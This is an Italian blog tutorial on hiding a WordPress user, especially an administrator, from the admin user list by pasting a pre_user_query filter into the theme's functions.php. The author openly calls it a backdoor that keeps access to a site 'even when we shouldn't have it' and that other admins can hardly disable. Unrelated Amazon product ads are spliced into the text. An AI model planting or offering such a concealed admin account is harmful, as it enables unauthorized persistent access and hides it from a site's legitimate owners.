Nascondere un utente o amministratore dala lista utenti in WordPress
Echo Pop | Altoparlante Bluetooth intelligente con Alexa, compatto e dal suono potente | Antracite
42% OffPuò capitare che l’amministratore di un sito WordPress abbia l’esigenza di nascondere un determinato utente dalla lista utenti di WP. Un utente che sia quindi normalmente riconosciuto dal sistema ma non visibile a tutti gli altri utenti.
La natura stessa dell’esigenza , in genere dovrebbe escludere l’utilizzo di un plugin che pure esiste… perchè ?!?
Perchè nascondere un utente ( anche o soprattutto amministratore ) dalla lista utenti di WordPress ?
In genere l’utilizzo di un utente nascosto presuppone la volonta di poter effettuare un accesso alla console in modo ” nascosto ” e soprattutto in una modalità che difficilmente possa essere disablitata da altri anche se amministratori.
Rilevatore di movimento Ring Alarm (2ª generazione)
35,99 € (a partire da 22/11/2024 10:46 GMT +01:00 - Altre informazioniProduct prices and availability are accurate as of the date/time indicated and are subject to change. Any price and availability information displayed on [relevant Amazon Site(s), as applicable] at the time of purchase will apply to the purchase of this product.)In sostanza una vera e propria BackDoor che ci lasci l’accesso al sito anche quando…non dovremmo averlo !
Proprio per la natura ” border line ” di questa esigenza in genere un plugin non risolve completamente il nostro problema : il plugin è chiaramente visibile e quindi disattivabile o modificabile.
Come nascondere un utente ( anche o soprattutto amministratore ) dalla lista utenti di WordPress ?
Non ci resta che una modifica diretta al codice , modifica che, fortuna per noi, è di facilissima realizzazione.
Si tratta di un piccolo intervento al file funtion.php utilizzato dal nostro tema.
La modifica è la seguente :
- Apriamo l’editor del tema e scegliamo di modificare function.php
- Subito dopo l’apertura <?php inseriamo il codice seguente :
remove_action('welcome_panel', 'wp_welcome_panel');
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'UtenteDaNascondere'",$user_search->query_where);
}
- Ovviamente dovrete cambiare UtenteDaNascondere con il nome utente che desiderate far scomparire dalla lista utenti
Da questo momento l’utente sarà attivo sulla console di WordPress ma non più visibile nella lista utenti.
Dovrete ricordarvi di aggiornare il file Function.php quando e se effettuerete un aggiornamento al tema in uso sul vostro sito WP, aggiornamento che potrebbe ripristinare la versione originale di function.php